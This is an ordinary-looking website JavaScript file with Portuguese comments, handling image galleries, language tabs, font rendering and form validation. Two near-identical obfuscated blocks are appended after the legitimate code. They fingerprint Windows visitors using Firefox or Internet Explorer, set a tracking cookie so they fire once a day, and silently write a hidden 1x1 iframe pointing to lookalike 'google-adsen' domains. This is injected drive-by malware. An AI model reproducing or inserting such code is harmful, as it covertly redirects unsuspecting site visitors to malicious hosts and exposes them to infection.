function overImgPort(img, imgdescr){
 document.getElementById(img).style.border='2px solid #EF3023';
 document.getElementById(imgdescr).style.display='block';
}

function outImgPort(img, imgdescr){
 document.getElementById(img).style.border='2px solid #D1D1D1';
 document.getElementById(imgdescr).style.display='none';
}

function changeTab(gal,tit,id){

    var divdoc = document.getElementsByTagName("div");
 
    for (var i=0; i < divdoc.length; i++){
		
	   if (divdoc[i].className=="imggaleria"){
	    divdoc[i].className='imggaleriaesc';
	    }
	     
      if (divdoc[i].className == "nada2"){
          divdoc[i].style.display = "block";
          }
      if (divdoc[i].className == "nada"){
          divdoc[i].style.display = "none";
          }       
    }
	var _tit = document.getElementById(tit);
  
  var div_tit_sel = ("div_n_"+id);
  var _tit_sel = document.getElementById(div_tit_sel);
  
  _tit_sel.style.display = 'none';
  
  _tit.style.display ='block';
	document.getElementById(gal).className='imggaleria';

}

function changeBtOver(balao, bt){
 document.getElementById(balao).className='balaobtover';
 document.getElementById(bt).style.color='#EF3023';
}

function changeBtOut(balao, bt){
 document.getElementById(balao).className='balaobt';
 document.getElementById(bt).style.color='#999999';
}

function changeLang(idlang, lang){

 if (document.getElementById(idlang).className != 'langsel'){
    var divdoc = document.getElementsByTagName("div");
	var iddoc = document.getElementById(idlang);
 
    for (var i=0; i < divdoc.length; i++){
     if (divdoc[i].className=="langsel"){
	    divdoc[i].className='lang';
	    }
    }
	
	iddoc.className='langsel';
	
	switch (lang){
	 case 'PT':
	  iddoc.style.backgroundImage="url(../sysimages/fundolangsel.png)";
	  break;
	 case 'ES':
	  iddoc.style.backgroundImage="url(../sysimages/fundolangsel_es.png)";
	  break;
     case 'GB':
	  iddoc.style.backgroundImage="url(../sysimages/fundolangsel_gb.png)";
	  break;
	 default:
	  iddoc.style.backgroundImage="url(../sysimages/fundolangsel.png)";
	}
 }
}

function changeImg(idimg,conts){

    var _conts = document.getElementById(conts);
    var divdoc = document.getElementsByTagName("div");
 
    for (var i=0; i < divdoc.length; i++){
     if (divdoc[i].className=="imgpequenasel"){
	    divdoc[i].className='imgpequena';
	    }
	    if (divdoc[i].className=="imggrande"){
	    divdoc[i].className='imggrande_h';
	    }
    }
	 _conts.className='imggrande';
	document.getElementById(idimg).className='imgpequenasel';
}

function displayMenu(pxleft){
 document.getElementById('menuesci').style.left=pxleft;
 document.getElementById('menuesci').style.display='block';
}

function hideMenu(){
document.getElementById('menuesci').style.display='none';
}

function RenderTTF()
{
  DATAFUNCS.RenderFonts('tit_h1',{
   fontSize         : '22.5',
   backgroundColor  : 'F2F2F2',
   color            : '999999',
   fontFile         : 'fonts/MYRIAM215600.ttf',
   transparent      : '1'
  });
  DATAFUNCS.RenderFonts('tit_h1_2',{
   fontSize         : '20',
   backgroundColor  : 'F2F2F2',
   color            : '999999',
   fontFile         : 'fonts/MYRIAM215600.ttf',
   transparent      : '1'
  });
}
function RenderTTF2()
{ 
  DATAFUNCS.RenderFonts('tit_h2',{
   fontSize         : '15',
   backgroundColor  : 'F9F9F9',
   color            : '5D6E65',
   fontFile         : 'fonts/MYRD.ttf',
   transparent      : '1'
  });
}
function RenderTTF3()
{ 
  DATAFUNCS.RenderFonts('tit_h4',{
   fontSize         : '15',
   backgroundColor  : 'F0F0F0',
   color            : '5d6e65',
   fontFile         : 'fonts/MYRD.ttf',
   transparent      : '1'
  });
}

/* VALIDAÇÃO DE FORMULÁRIOS */
var DOM = YAHOO.util.Dom;
var EVT = YAHOO.util.Event;

function validate_form(_obj,lg){
  var errors = false;

	DOM.getElementsByClassName(
		'required',
		null,
		_obj,
		function(e){
  			var _tag  = e.tagName;
  			var _type = e.getAttribute('type');
  			var _emai = e.getAttribute('email');
  			var _fich = e.getAttribute('fich');
        var _sel  = e.getAttribute('selecta');
        
        
  			if(_tag == 'TEXTAREA' || _type == 'text' || _type == 'password'){
  				if ((e.value == '') || (e.value == 'Preenchimento obrigatório.')){
            var _varid = e.getAttribute('id');
            e.style.border = '1px solid #D20000';
  					e.style.color  = '#D20000';
  					//e.value = 'Preenchimento obrigatório.';
            
  					//EVT.addListener(e, "focus", function(){ e.value = ''; });
  					
  					if(errors == false) errors = true;
  					
  				} else {
  				  var idinput =  e.getAttribute('id');
  				  if (idinput=='confpassword') {
  				    var pass1 = document.getElementById('password').value;
  
  				    if (pass1 != e.value){
                //alert("As passwords introduzidas não são iguais.")
                
                var _varid = e.getAttribute('id');
                e.style.border = '1px solid #D20000';
      					e.style.color  = '#D20000';
      					//e.value = 'Preenchimento obrigatório.';
      					
      					document.getElementById('password').style.border = '1px solid #D20000';
      					document.getElementById('password').style.color  = '#D20000';
      					//document.getElementById('password').value = 'Preenchimento obrigatório.';
                
      					//EVT.addListener(e, "focus", function(){ e.value = ''; });
      					
      					if(errors == false) errors = true;
              } else {
                var _varid = e.getAttribute('id');
      				  e.style.border = '1px solid #D3D3D3';
      					e.style.color  = '#7F7F7F';
      					
      					document.getElementById('password').style.border = '1px solid #D3D3D3';
      					document.getElementById('password').style.color  = '#7F7F7F';
      					
              }
  				  
            } else {
    				  var _varid = e.getAttribute('id');
    				  e.style.border = '1px solid #D3D3D3';
    					e.style.color  = '#7F7F7F';
    				}
  				}
  				
  				if(_emai == 1){
  					if(verify_email(e.value) == false){
  						var _varid = e.getAttribute('id');
              e.style.border = '1px solid #D20000';
    					e.style.color  = '#D20000';
    					//e.value = 'Email inválido.';
              
  						//EVT.addListener(e, "focus", function(){ e.value = ''; });
  						
  						if(errors == false) errors = true;
  						
  					} else {
  					  var _varid = e.getAttribute('id');
      				e.style.border = '1px solid #D3D3D3';
    					e.style.color  = '#7F7F7F';
  					}
  				}
  			} else if(_fich == 1){
  			  if(e.value == ''){
            var _varid = e.getAttribute('id');
            e.style.border = '1px solid #D20000';
  					e.style.color  = '#D20000';
  					//e.value = 'Preenchimento obrigatório.';
  					//EVT.addListener(e, "focus", function(){ e.value = ''; });
  					if(errors == false) errors = true;
          } else {
  					var _varid = e.getAttribute('id');
  				  e.style.border = '1px solid #D3D3D3';
  					e.style.color  = '#7F7F7F';
  				}
  			} else if(_sel == 1) {
          if ((e.value=="") || (e.value==0)){
            var _varid = e.getAttribute('id');
            e.style.border = '1px solid #D20000';
  					e.style.color  = '#D20000';
						//EVT.addListener(e, "focus", function(){ e.value = ''; });
						if(errors == false) errors = true;
          } else {
            var _varid = e.getAttribute('id');
  				  e.style.border = '1px solid #D3D3D3';
  					e.style.color  = '#7F7F7F';
          }
  			} else if(_type == 'checkbox') {
  				if(e.checked == false){
  					//alert('Tem de dizer se aceita os termos e condições de funcionamento do site.');
  					if(errors == false) errors = true;
  				}
  			}
  		
		}
	);
	
	if(errors == true){
	 if(lg == "pt"){
   alert("Verificar os campos obrigatórios");
   } else if(lg=="gb"){
   alert("Verify the required fields");
   } else if(lg=="sp"){
   alert("Compruebe los campos requeridos");
   }
		return false;
	} else {
	 
		return true;
	}
	
}

function verify_email(_mail){
	
  var status = false;     
	var emailRegEx = /^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$/i;
	
  if (_mail.search(emailRegEx) == -1) {
		status = false;
	} else {
		status = true;
	}
	return status;
}

function valida_email(email){
  var e = email.value;
  var erro = 0;
  if (e!=''){
    if (verify_email(e) == false){
      alert("Email inválido.");
      erro=1;
    }
  } else {
    alert("Tem que introduzir um email válido.");
    erro=1;
  }
  if(erro==1){  
    return false;
  } else {
    return true;
  }
}

function verify_number(field){
  if (isNaN(field.value)) 
  {
    alert("Só pode introduzir caracteres numéricos.");
    field.value='';
    field.focus();
  }
}


/* VALIDAÇÃO DE FORMULÁRIOS */

/*
function changeImgHome (idcont, home){
  if (document.getElementById(idcont).className != 'imgpeqhomesel'){
    var divdoc = document.getElementsByTagName("div");
 
    for (var i=0; i < divdoc.length; i++){
     if (divdoc[i].className=="imgpeqhomesel"){
	    divdoc[i].className='imgpeqhome';
	    }
	    if (divdoc[i].className=="homecima"){
	    divdoc[i].className='homecima_h';
	    }
	
	
	document.getElementById(idcont).className='imgpeqhomesel';
	document.getElementById(home).className='homecima';
  }
 }
}
*/


function changeImgHome (idcont, idimg, home){
  if (document.getElementById(idcont).className != 'imgpeqhomesel'){
    var divdoc = document.getElementsByTagName("div");
	var src = document.getElementById(idimg).src;
 
    for (var i=0; i < divdoc.length; i++){
     if (divdoc[i].className=="imgpeqhomesel"){
	    divdoc[i].className='imgpeqhome';
	    }
	
	document.getElementById(home).style.backgroundImage='url('+ src +')';
	document.getElementById(idcont).className='imgpeqhomesel';
  }
 }
}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
